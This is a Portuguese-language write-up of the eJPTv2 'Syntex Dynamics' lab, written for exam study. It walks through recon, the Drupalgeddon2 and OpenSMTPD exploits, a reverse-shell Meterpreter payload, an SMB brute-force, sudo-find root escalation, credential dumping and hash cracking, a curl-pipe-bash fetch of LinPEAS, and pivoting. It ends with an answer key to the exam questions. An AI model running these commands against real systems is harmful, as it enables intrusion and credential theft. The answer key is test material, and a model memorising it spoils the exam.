eJPTv2 — Syntex Dynamics (Base Privada Completa)
mediumINE Security / eJPT192.168.100.0/2445/45 flags
nmapftp-anonymouswebshelldrupaldrupalgeddon2cve-2018-7600cve-2020-7247opensmtpdsmbsmb-bruteforcemetasploitmeterpreterprivescsudo-findgtfobinsmysqlcredential-dumphash-crackingpivotautoroutesocks-proxywebdaviiswordpressrdpwinrm
recon
nmapHost Discovery — Ping Sweep (-sn)
# Ping sweep — identifica hosts ativos sem scan de portas nmap -sn 192.168.100.0/24 -oN hosts.txt # Output: # 192.168.100.1 (gateway) # 192.168.100.5 (Kali — atacante) # 192.168.100.50 # 192.168.100.51 # 192.168.100.52 # 192.168.100.55 # 192.168.100.63 # 192.168.100.67 # 8 hosts up em 256 IPs varridos # Por que -sn? # Desativa o port scan e faz apenas descoberta de hosts via ICMP echo, # ARP (na mesma rede) e TCP SYN/ACK. Primeiro passo padrão para mapear # o escopo sem gerar muito ruído.
nmapPort Scan Rápido — Toda a Rede (SYN scan)
# SYN scan com alta taxa, detecta portas abertas rapidamente nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24 # Flags: # -sS : SYN scan (half-open) — não completa o handshake TCP, mais furtivo # --min-rate 5000 : mínimo 5000 pacotes/segundo — acelera o scan # -T4 : template agressivo de timing # --open : mostra apenas portas abertas # -Pn : não faz ping antes (assume hosts ativos) # -n : sem resolução DNS (mais rápido) # Resultado por host: # .50 → 80, 135, 139, 445, 3389 # .51 → 21, 80, 135, 139, 445, 3389 # .52 → 21, 22, 25, 80, 139, 445, 3306, 3389 # .55 → 80, 135, 139, 445, 3389 # .63 → 3389 # .67 → 22 # ERRO DOCUMENTADO NO LAB: # ERRADO (faltou hífen antes de T4): # nmap -sS --min-rate 5000 T4 --open -Pn -n 192.168.100.5/24 # Saída: 'Failed to resolve T4' — nmap interpretou T4 como hostname # Também: usar /24 na rede (.0), não no host (.5) # CORRETO: # nmap -sS --min-rate 5000 -T4 --open -Pn -n 192.168.100.0/24
nmapService Scan Detalhado — nmap -sCV em todos os hosts
# Detecção de versão de serviços + scripts NSE padrão
nmap -sCV -p21,22,25,80,139,445,3306,3389 \
-oN svcALL.txt \
192.168.100.50,51,52,55,63,67
# -sC : executa scripts NSE padrão (equivale a --script=default)
# -sV : detecção de versão de serviços
# -oN : output em formato normal (legível por humano)
# Output relevante — WINSERVER-02 (.51):
# 21/tcp → FTP Microsoft — Anonymous login ALLOWED
# cmdasp.aspx (1400 bytes), iis-85.png, iisstart.htm, robots.txt.txt
# 80/tcp → IIS 8.5 — WebDAV (TRACE, PUT, DELETE, MKCOL, LOCK...)
# Listagem de diretório exposta
# 3389 → WINSERVER-02 (Product 6.3.9600 — Win 2012 R2)
# SMB → signing DISABLED
# Output relevante — LINUX-01 (.52):
# 21/tcp → vsftpd 3.0.3 — Anonymous ALLOWED
# 22/tcp → OpenSSH 8.2p1 Ubuntu
# 25/tcp → OpenSMTPD 2.0.0 ← CVE-2020-7247
# 80/tcp → Apache 2.4.41 — /drupal/ (Drupal 7)
# 3306 → MariaDB 10.3.34 (reporta como MySQL 5.5.5)
# SMB → Samba 4.13.17 — signing DISABLED
# NOTA IMPORTANTE SOBRE MYSQL:
# O MariaDB 10.3.34 reporta sua versão como '5.5.5-10.3.34-MariaDB'
# para compatibilidade com clientes MySQL. O nmap captura apenas o
# prefixo '5.5.5', que é a resposta esperada pelo exame.webFingerprint Drupal — 192.168.100.52
# Identificação de versão via arquivo público curl http://192.168.100.52/drupal/CHANGELOG.txt # Retorna: Drupal 7.57 # Por que o CHANGELOG.txt é crítico? # O Drupal, por padrão em versões antigas, deixa o CHANGELOG.txt # acessível publicamente. Ele lista a versão exata instalada, # permitindo identificar CVEs aplicáveis sem nenhuma autenticação. # Identificação de usuários via URL pública curl http://192.168.100.52/drupal/?q=user # Retorna: página de login com nome do site 'Syntex Dynamics' # Post público revela username curl http://192.168.100.52/drupal/?q=node/1 # Publicado por: auditor (post: 'Syntex Dynamics - What we do')
httpFTP Anônimo — .51 (webshell) e .52 (updates.txt)
# FTP anônimo no WINSERVER-02 (.51) ftp 192.168.100.51 # user: anonymous # pass: (vazio — apenas Enter) ftp> ls -la # cmdasp.aspx (webshell ASPX — 1.400 bytes) ← CRÍTICO # iisstart.htm # robots.txt.txt # aspnet_client/ ftp> get cmdasp.aspx # Download local para análise # FTP anônimo no LINUX-01 (.52) ftp 192.168.100.52 ftp> ls # updates.txt (318 bytes, 2022-04-18) ftp> get updates.txt # Conteúdo: horário de trabalho da Syntex começa às 08:00 # Por que checar FTP anônimo? # É uma das misconfigurações mais clássicas. Quando habilitado, permite # leitura (e às vezes escrita) sem autenticação. No .51, a webshell já # estava presente no webroot do IIS, tornando a exploração trivial.
checklistFASE 0 — Triage & Tracking
HOST DISCOVERY — registrar IP + Hostname + OS provável Classificar: Entry Point / Target de Valor / DC / File Server Nmap Top 1000: sudo nmap -sS --top-ports 1000 -T4 -Pn -n IP
nmapFASE 1 — Port Scan
FULL TCP: sudo nmap -sS -p- --min-rate 5000 -T4 --open -Pn -n IP -oN ports.txt UDP: sudo nmap -sU --top-ports 20 -T4 IP VERSION: sudo nmap -sCV -p PORTAS IP -oN svcs.txt OS DETECTION: flag -O AD PORTS: -p 88,135,139,389,445,464,636,3268,3269 PRINT EVIDENCE
checklistFASE 0 — Triage & Tracking
HOST DISCOVERY — registrar IP + Hostname + OS provável Classificar: Entry Point / Target de Valor / DC / File Server Nmap Top 1000: sudo nmap -sS --top-ports 1000 -T4 -Pn -n IP
nmapFASE 1 — Port Scan
FULL TCP: sudo nmap -sS -p- --min-rate 5000 -T4 --open -Pn -n IP -oN ports.txt UDP: sudo nmap -sU --top-ports 20 -T4 IP VERSION: sudo nmap -sCV -p PORTAS IP -oN svcs.txt OS DETECTION: flag -O AD PORTS: -p 88,135,139,389,445,464,636,3268,3269 PRINT EVIDENCE
enum
webEnumeração Drupal em Profundidade + SQL
# Verificação de versão curl http://192.168.100.52/drupal/CHANGELOG.txt # Drupal 7.57 — confirmado # Identificação de usuário autor de post # URL: /drupal/?q=node/1 # Resultado: post 'Syntex Dynamics - What we do' por 'auditor' # Query SQL para enumeração de posts e autores (pós-exploit): SELECT n.nid, n.title, u.name FROM node n JOIN users u ON n.uid = u.uid; -- Resultado: nid=1 | 'Syntex Dynamics - What we do' | auditor # Contagem de usuários no DB (obtida via SQL pós-exploit) # 4 usuários: admin, auditor, dbadmin, Vincenzo # Por que o Drupal 7.57 é vulnerável? # CVE-2018-7600 (Drupalgeddon2): a Forms API permite que desenvolvedores # definam formulários com propriedades processadas pelo engine de # renderização. Certas propriedades não são sanitizadas antes de serem # processadas. Um atacante envia valores como #markup ou #pre_render # contendo callbacks PHP arbitrários, executados pelo motor de # renderização. Afeta Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1. # MITRE ATT&CK: T1190 — Exploit Public-Facing Application
nmapDetecção OpenSMTPD — 192.168.100.52
nmap -sCV -p25 192.168.100.52 # 25/tcp open smtp OpenSMTPD (protocol 220) # Banner: OpenSMTPD 2.0.0 → CVE-2020-7247 confirmado # CVE-2020-7247 — OpenSMTPD RCE # CVSS v3: 9.8 CRITICAL # CWE: CWE-78 (OS Command Injection) # Afeta: OpenSMTPD <= 6.6.2p1 # O campo MAIL FROM do protocolo SMTP é processado sem sanitização # adequada. Um atacante pode injetar comandos shell no campo de # endereço do remetente, executados com os privilégios do daemon # smtpd (tipicamente root ou usuário dedicado com altos privilégios).
smbEnumeração SMB — enum4linux no LINUX-01 (.52)
# Enumeração completa: usuários, shares, políticas de senha enum4linux -a 192.168.100.52 # Usuários encontrados via RID Cycling: # S-1-22-1-1000 → ubuntu (Local User) # S-1-22-1-1001 → auditor (Local User) # S-1-22-1-1002 → dbadmin (Local User) # Total de usuários enumerados: 3 # Política de senhas: # Comprimento mínimo: 5 caracteres # Complexidade: DESATIVADA # Histórico: Nenhum # Por que RID Cycling funciona? # Em configurações Samba sem restrição de enumeração anônima, # é possível iterar pelos RIDs da conta de sistema e mapear quais # números correspondem a usuários válidos. O SID S-1-22-1 é o prefixo # padrão para usuários locais Linux no Samba. # SMB Signing desativado: # Com SMB signing desabilitado, ataques de relay (NTLM Relay) são # possíveis. Um atacante pode capturar o handshake NTLM de um host # e retransmiti-lo para outro sem precisar quebrar o hash. nmap -p445 --script smb-security-mode 192.168.100.50,51,52 # Resultado: message_signing: disabled nos três hosts
httpEnumeração WebDAV — WINSERVER-02 (.51)
# Verificação de métodos WebDAV habilitados curl -X OPTIONS http://192.168.100.51/ -v # Allow: OPTIONS, TRACE, GET, HEAD, PUT, DELETE, MKCOL, LOCK, UNLOCK, # PROPFIND, PROPPATCH, COPY, MOVE # Risco do WebDAV com PUT: # Se o WebDAV tiver o método PUT habilitado sem autenticação adequada, # é possível fazer upload de arquivos arbitrários (incluindo webshells) # diretamente para o servidor via HTTP. Neste case, a webshell já # estava presente via FTP, mas o WebDAV seria um vetor alternativo. # Verificação de listagem de diretório (IIS) curl http://192.168.100.51/ # Directory listing exposto — revela todos os arquivos no webroot
smbAnálise MariaDB via MySQL Client — LINUX-01 (.52)
# Conexão ao banco após obter credenciais (via settings.php)
mysql -u drupal -p[REDACTED] 192.168.100.52
MariaDB> use drupal;
MariaDB> show tables;
-- 73 tabelas
MariaDB> select name, value from variable;
-- Configurações do Drupal
MariaDB> select n.nid, n.title, u.name
from node n join users u on n.uid = u.uid;
-- nid=1 | 'Syntex Dynamics - What we do' | auditor
MariaDB> select name, pass, mail from users;
-- +----------+-------------------+----------------------+
-- | (vazio) | | | ← UID=0 anônimo
-- | admin | [hash $S$ SHA512] | admin@syntex.com |
-- | auditor | [hash $S$ SHA512] | auditor@syntex.com |
-- | dbadmin | [hash $S$ SHA512] | dbadmin@syntex.com |
-- | Vincenzo | [hash $S$ SHA512] | vincenzo@syntext.com |
-- Total: 4 usuários (linha vazia = anônimo UID=0, não conta)
# NOTA: MariaDB 10.3.34 reporta como MySQL 5.5.5 para compatibilidade.
# Resposta correta para questão de versão do exame: 5.5.5smbFASE 2 — Service Enum
VERSIONS — confirmar versões exatas AUTHENTICATION — testar credenciais default/anon ANONYMOUS ACCESS — SMB/FTP/NFS SMB: cme smb IP -u '' -p '' --shares / enum4linux-ng -A IP SNMP: snmpwalk -v2c -c public IP LDAP: ldapsearch -x -h IP -b 'DC=dom,DC=local' null session PRINT EVIDENCE
webFASE 3 — Web
FINGERPRINT: whatweb http://IP DIRECTORY SCAN: ffuf -u http://IP/FUZZ -w directory-list-2.3-medium.txt -t 50 VHOST: ffuf -u http://IP -H 'Host: FUZZ.DOMINIO' -w subdomains-top1mil-5000.txt INFORMATION DISCLOSURES — robots.txt, .git, backups ATTACK WEB — SQLi, XSS, LFI, SSRF, IDOR, Upload, Auth bypass PRINT EVIDENCE
cmdFASE 4 — Active Directory
BloodHound: bloodhound-python -d DOM -u user -p pass -ns IP -c all AS-REPRoasting: impacket-GetNPUsers DOM/ -dc-ip IP -usersfile users.txt -no-pass Kerberoasting: impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request Password Spray: cme smb IP -u users.txt -p 'Senha123!' --continue-on-success Responder: sudo responder -I tun0 -wPv
smbFASE 2 — Service Enum
VERSIONS — confirmar versões exatas AUTHENTICATION — testar credenciais default/anon ANONYMOUS ACCESS — SMB/FTP/NFS SMB: cme smb IP -u '' -p '' --shares / enum4linux-ng -A IP SNMP: snmpwalk -v2c -c public IP LDAP: ldapsearch -x -h IP -b 'DC=dom,DC=local' null session PRINT EVIDENCE
webFASE 3 — Web
FINGERPRINT: whatweb http://IP DIRECTORY SCAN: ffuf -u http://IP/FUZZ -w directory-list-2.3-medium.txt -t 50 VHOST: ffuf -u http://IP -H 'Host: FUZZ.DOMINIO' -w subdomains-top1mil-5000.txt INFORMATION DISCLOSURES — robots.txt, .git, backups ATTACK WEB — SQLi, XSS, LFI, SSRF, IDOR, Upload, Auth bypass PRINT EVIDENCE
cmdFASE 4 — Active Directory
BloodHound: bloodhound-python -d DOM -u user -p pass -ns IP -c all AS-REPRoasting: impacket-GetNPUsers DOM/ -dc-ip IP -usersfile users.txt -no-pass Kerberoasting: impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request Password Spray: cme smb IP -u users.txt -p 'Senha123!' --continue-on-success Responder: sudo responder -I tun0 -wPv
exploit
cmd[F-CRIT] Webshell via FTP Anônimo — WINSERVER-02 (.51)
# Cadeia mais rápida do lab (<5 min desde o recon)
# 1. FTP anônimo → encontrar cmdasp.aspx no diretório raiz do IIS
# 2. Acessar http://192.168.100.51/cmdasp.aspx
# 3. Executar via interface web:
# whoami → iis apppool\defaultapppool
# ipconfig → 192.168.100.51
# Por que isso é uma vulnerabilidade crítica?
# 1. FTP anônimo permite listagem e download de qualquer arquivo
# 2. A webshell estava no webroot — qualquer usuário web pode executá-la
# 3. Não havia autenticação no IIS para o endpoint da webshell
# 4. CVSSv3 estimado: 9.8 (acesso não autenticado, RCE, sem interação)
# Upgrade para Meterpreter via listener:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.100.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
# Geração de payload (método alternativo):
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.100.5 LPORT=4444 \
-f exe -o shell.exe
# Contexto de execução:
# IIS APPPOOL\DefaultAppPool é conta de serviço de baixo privilégio
# Sem acesso a C:\Users\ de usuários reais diretamente
# Para escalada: verificar permissões de serviços, token impersonation
# MITRE ATT&CK: T1190, T1505.003 (Web Shell)
# MITRE ATT&CK: T1190 — Exploit Public-Facing Applicationcmd[F-CRIT] CVE-2020-7247 OpenSMTPD RCE — LINUX-01 (.52) [alternativo]
# Vulnerabilidade: CVE-2020-7247 — OpenSMTPD # CVSS v3: 9.8 CRITICAL # Tipo: RCE via SMTP # CWE: CWE-78 (OS Command Injection) # Afeta: OpenSMTPD <= 6.6.2p1 # Versão no lab: OpenSMTPD 2.0.0 msf6 > use exploit/unix/smtp/opensmtpd_mail_from_rce msf6 exploit(opensmtpd_mail_from_rce) > set RHOSTS 192.168.100.52 msf6 exploit(opensmtpd_mail_from_rce) > set LHOST 192.168.100.5 msf6 exploit(opensmtpd_mail_from_rce) > run # Como funciona: # A vulnerabilidade está no processamento do campo MAIL FROM do # protocolo SMTP. Um campo especialmente construído permite injeção # de comandos que são executados com privilégios elevados pelo # daemon do OpenSMTPD. # Nota: Este vetor não foi o principal utilizado no lab, # mas foi identificado e documentado como alternativa ao Drupalgeddon2.
cmd[F-CRIT] CVE-2018-7600 Drupalgeddon2 — LINUX-01 (.52)
# Vulnerabilidade: CVE-2018-7600 — Drupalgeddon2 # CVSS v3: 9.8 CRITICAL # Tipo: RCE sem autenticação # CWE: CWE-20 (Improper Input Validation) # Afeta: Drupal 6.x < 6.38, 7.x < 7.58, 8.x < 8.5.1 # Módulo MSF: exploit/unix/webapp/drupal_drupalgeddon2 msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 msf6 exploit(drupal_drupalgeddon2) > set RHOSTS 192.168.100.52 msf6 exploit(drupal_drupalgeddon2) > set TARGETURI /drupal/ msf6 exploit(drupal_drupalgeddon2) > set LHOST 192.168.100.5 msf6 exploit(drupal_drupalgeddon2) > set LPORT 4444 msf6 exploit(drupal_drupalgeddon2) > run # Output: # [*] Started reverse TCP handler on 192.168.100.5:4444 # [*] Sending stage (3012548 bytes) to 192.168.100.52 # [*] Meterpreter session 1 opened (...) at 2026-04-04 21:02:52 # meterpreter > getuid # Server username: www-data # Como o exploit funciona (técnico): # O Drupalgeddon2 explora a função drupal_render() na Forms API. # Um atacante envia uma requisição POST para endpoints como /user/register # com dados que contêm código PHP embutido em campos de formulário. # O sistema de renderização processa esses dados sem sanitização # adequada, resultando em execução de código arbitrário no contexto # do servidor web. # Contexto: www-data tem acesso de leitura ao diretório do Drupal # e pode executar comandos com os privilégios desse usuário. # MITRE ATT&CK: T1190 — Exploit Public-Facing Application
smb[F-HIGH] SMB Brute-Force — WINSERVER-03 (.55)
# Vetor: SMB com política de senhas fraca e signing desativado
# Condições facilitadoras:
# - Senhas baseadas em palavras do dicionário
# - Sem lockout policy (tentativas ilimitadas)
# - SMB signing desativado (relay como alternativa)
# - Usuário Administrator com senha fraca
# Com Metasploit:
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(smb_login) > set RHOSTS 192.168.100.55
msf6 auxiliary(smb_login) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(smb_login) > run
# Com Hydra:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
smb://192.168.100.55
# Com crackmapexec:
crackmapexec smb 192.168.100.55 -u users.txt -p passwords.txt
# Credenciais descobertas:
# Administrator : [REDACTED — credencial dinâmica do exame]
# mary : [REDACTED — credencial dinâmica do exame]
# MITRE ATT&CK: T1110.003 — Password Spraying / Brute ForcecmdFASE 5 — Check Vulnerabilities
CHECK EACH SERVICE — CVE por versão exata searchsploit SERVIÇO VERSÃO Internal information leakage PRINT EVIDENCE
cmdFASE 5 — Check Vulnerabilities
CHECK EACH SERVICE — CVE por versão exata searchsploit SERVIÇO VERSÃO Internal information leakage PRINT EVIDENCE
post-exp
cmdUpgrade de Shell TTY — LINUX-01 (.52)
# Após obter shell básico como www-data
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Python 3.8.10 disponível no sistema
# Versão mais completa (para suportar Ctrl+C, etc.):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Depois: Ctrl+Z
# stty raw -echo; fg
# export TERM=xterm
# Por que o upgrade é necessário?
# Shells simples (sem TTY) não suportam:
# - interatividade completa, tab completion
# - visualização de editores (vi/nano)
# - sudo (que requer TTY)
# - podem quebrar em determinados comandos
# O upgrade via pty.spawn cria um pseudoterminal que simula
# um terminal completo.cmdEnumeração Pós-Compromise — LINUX-01 (.52)
# Identidade whoami # www-data # Sistema uname -a # Linux ip-192-168-100-52 5.4.0-1069-aws #73~18.04.1-Ubuntu # Interfaces de rede (confirmação dual-homed) ip addr show # eth0: 192.168.100.52/24 (DMZ) # eth1: 172.21.x.x/16 (Rede interna) ← gateway para pivot # Processos ps aux # Serviços ativos ss -tlnp # CRÍTICO — Sudo permissions: sudo -l # (root) NOPASSWD: /usr/bin/find ← PRIVESC DISPONÍVEL
cmd[F-HIGH] Privilege Escalation via sudo find — LINUX-01 (.52)
# Verificação de sudo sudo -l # (root) NOPASSWD: /usr/bin/find ← sem senha, qualquer usuário # Exploração via GTFObins sudo find . -exec /bin/bash \; -quit # Confirmação whoami # root # Por que isso funciona? # O find com -exec permite executar comandos arbitrários. # Quando executado via sudo, esses comandos rodam como root. # O -quit interrompe o find imediatamente após o primeiro # resultado, tornando a execução mais limpa. # Referência GTFObins: https://gtfobins.github.io/gtfobins/find/#sudo # Impacto: controle total do sistema # - Leitura de /etc/shadow # - Todos os arquivos do sistema # - Criação de backdoors # MITRE ATT&CK: T1548.003 — Sudo and Sudo Caching
cmdReconhecimento Pós-Compromise — WINSERVER-02 (.51)
# Via meterpreter session no .51 meterpreter > shell # Informações de rede ipconfig /all # Ethernet: 192.168.100.51 / 255.255.255.0 # Gateway: 192.168.100.1 # Rotas route print # Rede: 192.168.100.0/24 / Gateway: 192.168.100.1 # Conexões e portas netstat -ano # Portas abertas: 21, 80, 135, 445, 3389, 5985, 49152-49174 # Conexão meterpreter ativa: .51:49828 → 192.168.100.5:4444 # Porta 5985 — WinRM: # Indica que o Windows Remote Management está ativo. # Pode ser explorado para execução remota de PowerShell com credenciais. evil-winrm -i 192.168.100.51 -u Administrator -p [senha] # Meterpreter úteis: meterpreter > sysinfo meterpreter > getuid meterpreter > ps meterpreter > run post/multi/recon/local_exploit_suggester
cmdCaptura de Flags — Métodos por Host
# Q42 — Flag em C:\Users\mike\Documents\flag.txt (WINSERVER-01) # Método: obter acesso como mike via SMB brute-force → RDP type C:\Users\mike\Documents\flag.txt # Q44 — Flag em C:\Users\Administrator\flag.txt (WINSERVER-03) # Método: comprometer WINSERVER-03 → login como Administrator type C:\Users\Administrator\flag.txt # Q45 — Flag em /root/flag.txt (LINUX-01 .52) # Método: Drupalgeddon2 → www-data → sudo find → root cat /root/flag.txt # AVISO: Flags são DINÂMICAS — mudam a cada instância do exame. # Sempre documentar o MÉTODO de obtenção, nunca o valor da flag.
cmdDump de Credenciais MySQL/Drupal — settings.php
# Credenciais do Drupal encontradas em settings.php
cat /var/www/html/drupal/sites/default/settings.php | grep -A5 'database'
# username: drupal
# password: [REDACTED — credencial dinâmica]
# database: drupal
# Conexão e dump da tabela users:
mysql -u drupal -p[REDACTED] \
-e "use drupal; select name, pass, mail from users;"
# Resultado:
# +----------+---------------------------------------------------------+----------------------+
# | (vazio) | | |
# | admin | [hash $S$ SHA-512] | admin@syntex.com |
# | auditor | [hash $S$ SHA-512] | auditor@syntex.com |
# | dbadmin | [hash $S$ SHA-512] | dbadmin@syntex.com |
# | Vincenzo | [hash $S$ SHA-512] | vincenzo@syntext.com |
# Total: 4 usuários
# Formato dos hashes Drupal:
# Esquema phpass com prefixo $S$ + custo de iteração + hash SHA-512
# Algoritmo: SHA-512 com salt
# Quebrar offline:
john --format=drupal7 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 7900 hashes.txt /usr/share/wordlists/rockyou.txt --force
# Verificar resultados:
john --show hashes.txt
# MITRE ATT&CK: T1003 — OS Credential DumpingcmdPassword Reuse — Testando Credenciais Cross-Service
# Após obter hashes do MySQL e quebrar com John/Hashcat: # Testar credencial do MySQL no SSH ssh dbadmin@192.168.100.52 ssh auditor@192.168.100.52 # Testar credenciais do SMB no RDP xfreerdp /v:192.168.100.55 /u:Administrator /p:[senha] # Crackmapexec para testar em múltiplos hosts (spray) crackmapexec smb 192.168.100.0/24 -u Administrator -p [senha] # Verificar usuários locais após comprometer host Windows net user net localgroup Administrators wmic qfe list # HotFixes instalados Get-HotFix | Measure-Object # PowerShell (Q43: 220 hotfixes no WINSERVER-01) # MITRE ATT&CK: T1021 — Remote Services (RDP, SSH, SMB) # MITRE ATT&CK: T1003 — Credential Dumping
cmdPivot — Configuração Autoroute + SOCKS5
# Confirmar host dual-homed ip addr show # eth0: 192.168.100.52 (DMZ) # eth1: 172.21.x.x (Rede interna) ← gateway para 192.168.1.0/24 # DEPRECATED (ainda funciona mas gera warning): run autoroute -s 172.21.0.0/16 # [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. # [+] Added route to 172.21.0.0/255.255.0.0 via 192.168.100.52 # MÉTODO MODERNO (correto): meterpreter > run post/multi/manage/autoroute SUBNET=172.21.0.0 NETMASK=255.255.0.0 # Verificar rotas: meterpreter > run autoroute -p msf6 > route print # Configurar SOCKS proxy para ferramentas externas: msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(socks_proxy) > set VERSION 5 msf6 auxiliary(socks_proxy) > set SRVPORT 1080 msf6 auxiliary(socks_proxy) > run -j # /etc/proxychains4.conf → adicionar: socks5 127.0.0.1 1080 # Varrer rede interna via pivot: proxychains nmap -sT -Pn 192.168.1.0/24 proxychains nmap -sT -p10000 192.168.1.0/24 # Porta 10000 encontrada → Webmin # Porta 10000 = Webmin (admin web-based Linux) # CVE relevante: CVE-2019-15107 (Backdoor em versões específicas) # MITRE ATT&CK: T1572 — Protocol Tunneling (Pivot) # MITRE ATT&CK: T1046 — Network Service Discovery
cmdFASE 6 — Post-Exploitation
whoami + hostname + ifconfig — SCREENSHOT OBRIGATÓRIO LinPEAS/WinPEAS: curl http://IP/linpeas.sh | bash sudo -l SUID: find / -perm -4000 -type f 2>/dev/null Cron: cat /etc/crontab Credential harvesting — config files, bash_history Subnets internas — registrar para pivot PIVOT: Ligolo-ng / Chisel / SSH Tunnel PRINT EVIDENCE
cmdFASE 6 — Post-Exploitation
whoami + hostname + ifconfig — SCREENSHOT OBRIGATÓRIO LinPEAS/WinPEAS: curl http://IP/linpeas.sh | bash sudo -l SUID: find / -perm -4000 -type f 2>/dev/null Cron: cat /etc/crontab Credential harvesting — config files, bash_history Subnets internas — registrar para pivot PIVOT: Ligolo-ng / Chisel / SSH Tunnel PRINT EVIDENCE
creds
credMapa Completo de Credenciais Obtidas
# NOTA: Credenciais reais são DINÂMICAS. Esta seção documenta # o TIPO e o MÉTODO de obtenção para fins de estudo. # 192.168.100.52 — MySQL / Drupal DB serviço: MySQL host: 192.168.100.52 usuário: drupal senha: [em /var/www/html/drupal/sites/default/settings.php] # 192.168.100.52 — Usuários Drupal (hashes SHA-512 Drupal7 / $S$) admin → admin@syntex.com auditor → auditor@syntex.com dbadmin → dbadmin@syntex.com Vincenzo → vincenzo@syntext.com # Quebrar offline: john --format=drupal7 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt hashcat -m 7900 hashes.txt rockyou.txt --force john --show hashes.txt # 192.168.100.52 — SSH (reutilização de senha do Drupal) usuário: dbadmin / auditor senha: [crack do hash SHA-512 acima] método: ssh dbadmin@192.168.100.52 # 192.168.100.55 — SMB/RDP (brute-force) usuário: Administrator senha: [via crackmapexec / rockyou.txt] usuário: mary senha: [via crackmapexec / rockyou.txt] # 192.168.100.50 — SMB (brute-force) usuário: mike senha: [via crackmapexec / rockyou.txt] # Algoritmo de hash das senhas Linux: # /etc/shadow → prefixo $6$ → SHA-512 # Drupal DB → prefixo $S$ → SHA-512 com salt (phpass) # Password reuse cross-service: crackmapexec smb 192.168.100.0/24 -u [user] -p [senha] # spray xfreerdp /v:[host] /u:[user] /p:[senha] # RDP
flags
flagFindings por Severidade (13 vulnerabilidades documentadas)
[CRÍTICO] CVE-2018-7600 Drupalgeddon2 - 192.168.100.52 - CVSS 9.8 [CRÍTICO] FTP Anônimo + Webshell IIS - 192.168.100.51 - CVSS 9.8 [CRÍTICO] CVE-2020-7247 OpenSMTPD RCE - 192.168.100.52 - CVSS 9.8 [ALTO] SMB Brute-Force / Política fraca - 192.168.100.55 - CVSS 8.1 [ALTO] Escalação via sudo find NOPASSWD - 192.168.100.52 - CVSS 7.8 [ALTO] MySQL exposto + credenciais fracas - 192.168.100.52 - CVSS 7.5 [MÉDIO] FTP anônimo com acesso ao webroot - 192.168.100.51 - CVSS 6.5 [MÉDIO] WebDAV com métodos perigosos (PUT/DEL) - 192.168.100.51 - CVSS 6.5 [MÉDIO] SMB Signing desativado - .50/.51/.52 - CVSS 5.9 [MÉDIO] Directory Listing IIS ativado - 192.168.100.51 - CVSS 5.3 [BAIXO] FTP anônimo — divulgação de informações- 192.168.100.52 - CVSS 4.3 [INFO] Drupal 7.57 desatualizado [INFO] OpenSMTPD desatualizado
flagFASE 7 — Flags & Evidence
user.txt — SCREENSHOT com cat root.txt / administrator.txt — SCREENSHOT OBRIGATÓRIO Evidências salvas em proof/
flagFASE 7 — Flags & Evidence
user.txt — SCREENSHOT com cat root.txt / administrator.txt — SCREENSHOT OBRIGATÓRIO Evidências salvas em proof/
notes
noteGabarito das 45 Questões com Raciocínio
=== BLOCO 1 — RECONHECIMENTO DE REDE (Q1-Q10) ===
Q1. IP dual-homed da DMZ?
R: 192.168.100.52
Método: ip addr show pós-exploit — único host com eth0 (DMZ) + eth1 (172.21.x.x)
Q2. Quantos hosts na DMZ (excluindo gateway)?
R: 6
Método: .50, .51, .52, .55, .63, .67 = 6 hosts. Gateway (.1) e Kali (.5) excluídos.
Q3. Quantos hosts Windows na DMZ?
R: 4
Método: .50 (Win 2012 R2), .51 (Win 2012 R2), .55 (Win 2019), .63 (Windows) = 4.
Q4. Quantos hosts Linux (excluindo Kali)?
R: 2
Método: .52 (Ubuntu 20.04) e .67 (Ubuntu) = 2. Kali (.5) excluído.
Q5. Quantos hosts rodando Apache (DMZ + interna)?
R: 2
Método: .50 (Apache 2.4.51 / WAMP) e .52 (Apache 2.4.41 / Drupal). IIS não é Apache.
Q6. IP do host com OpenSMTPD?
R: 192.168.100.52
Método: nmap -sCV → porta 25 com OpenSMTPD 2.0.0 exclusivamente no .52.
Q7. Total de portas TCP abertas no host Drupal?
R: 8
Método: 21, 22, 25, 80, 139, 445, 3306, 3389 = 8 portas.
Q8. Quantos hosts com servidor de banco de dados?
R: 2
Método: .50 (MySQL na porta 3307) e .52 (MariaDB na porta 3306) = 2.
Q9. Versão do MySQL no host Drupal?
R: 5.5.5
Método: MariaDB 10.3.34 reporta compatibilidade como MySQL 5.5.5. nmap captura esse prefixo.
Q10. Total de hosts com Windows Server 2019 (DMZ + interna)?
R: 1
Método: Apenas .55 (WINSERVER-03 com Windows Server 2019 Datacenter 17763).
=== BLOCO 2 — ENUMERAÇÃO DE SERVIÇOS (Q11-Q20) ===
Q11. Versão do Windows no host WordPress?
R: 2012 R2
Método: .50 (WINSERVER-01) roda Windows Server 2012 R2 com WAMP + WordPress 5.9.3.
Q12. Nome do usuário que publicou no Drupal?
R: Auditor
Método: /drupal/?q=node/1 → 'Syntex Dynamics - What we do' por 'auditor'.
SQL: SELECT u.name FROM node n JOIN users u ON n.uid = u.uid WHERE n.nid=1
Q13. Horário de início do dia de trabalho na Syntex?
R: 8h00
Método: arquivo updates.txt obtido via FTP anônimo no .52.
Q14. E-mail do admin do WordPress?
R: admin@syntex.com
Método: enumeração WordPress (wp-login.php / dump DB via wp-config.php).
Q15. Versão do Drupal?
R: 7.57
Método: curl http://192.168.100.52/drupal/CHANGELOG.txt — arquivo público.
Q16. IP vulnerável a SSH brute-force?
R: 192.168.100.52
Método: OpenSSH 8.2p1 no .52 sem fail2ban. Política de senhas fraca confirma.
